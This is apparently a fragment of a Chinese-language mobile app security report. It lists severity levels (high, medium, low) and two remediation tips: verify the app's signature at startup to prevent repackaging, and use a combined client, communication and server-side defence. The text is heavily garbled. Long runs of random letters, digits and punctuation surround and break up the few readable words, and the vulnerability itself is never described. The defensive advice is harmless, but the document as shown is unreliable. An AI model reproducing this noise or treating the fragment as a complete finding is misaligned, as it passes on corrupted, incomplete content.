- ^. c$ i6 M( R9 `4 m# h- l( b $ m+ G/ Y* V$ C; q' G 8 N! n1 p4 K6 F& R3 { 6 u( A; r( l& H( O. A. J0 _0 R+ \% D( I$ @/ G3 A. p4 k& C* X- t Y* x0 l6 q3 r. G* O5 N1 K& Y- X/ i, r0 M4 E: n0 l* v- j! a# m/ e" w7 l0 X) ] N* H7 D9 [" a. d# P! D, \. R. Q3 v9 c. b4 c/ X1 Q# b- F. }' X/ d# Y" i" z! ?) O+ k' N3 u+ |0 v1 U" J: @) O7 E$ T# v4 F( G! }9 ]7 o2 B9 m, F# N

2 V1 A) y* z$ I4 t 严重程度 , ]6 n. c3 K3 e" C3 n% r) u. r ) ~1 y& e+ N5 C - P! P4 ?+ z; v; n& s+ q7 R	" q b/ W& z% l9 A/ S8 E( R2 E 2 p+ D4 }9 ] n$ t 高 , c; Z3 ^# M7 D! X+ k $ J P; g. d. w% ^3 k5 c	# V$ M# B2 e4 y) V, V+ m6 _ 3 \8 R7 W8 p: k3 Z5 h ■ ; z# l1 B% X- Q4 t! Y ) R- o% v0 K1 Z: E. V q3 [	. ^4 {) R) K+ k- f8 _! k3 h/ v 1 i: J. {3 i8 A# a! b- ] 0 ?5 t1 C/ i* ?" a 中 * e. \/ j& d3 Z6 M& F8 s	- R+ M2 i6 |) |5 i 3 v3 e! W* o* }0 a# R* Q4 V/ t 7 H, u k- x0 C9 U1 U) [" P" v 1 ?; s( I7 k* z- h5 W) X   - {- K/ i7 o+ a( l " z( ~6 c/ h8 K0 q8 S2 @	( J, q# U F3 ~( D" c4 T( M9 D ; v8 d9 W: {; [ 低 $ W* B4 ?4 Z* \' r1 i! {: R! Z	|) K, w% e' Z* W$ D   $ b7 \2 L4 j* b/ e' d8 X) ?" ? 5 D" o. k# C7 x* Y% U+ U1 x4 x- ]

m3 t. S" v$ Q

  # u$ F% i. C) M1 V* [) v; {

* q$ f4 \3 s6 R9 ^: }. a- c; ^

修复方法： . _, C. z) b$ v" x

& J& a& j0 b/ D8 s

              1.在 APP 启动时应做签名校验防止二次打包。
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 7 T+ J: W8 u5 L* n

: _. N/ P3 b% w! @& n: H1 u

, ?% R9 M: x' j5 d7 Q" X6 d- h  

" o' s1 l; s, m3 s S8 N8 n4 i. E8 s. k1 q! ^ 5 B. j4 j$ S9 K& o' U! V

3 R5 x4 N3 v H. d6 J" z , a' M& y5 n. c+ [# n3 t
4 G0 Z3 N! i* N" j

& S% O9 O! j( L- y) {& l1 B- Q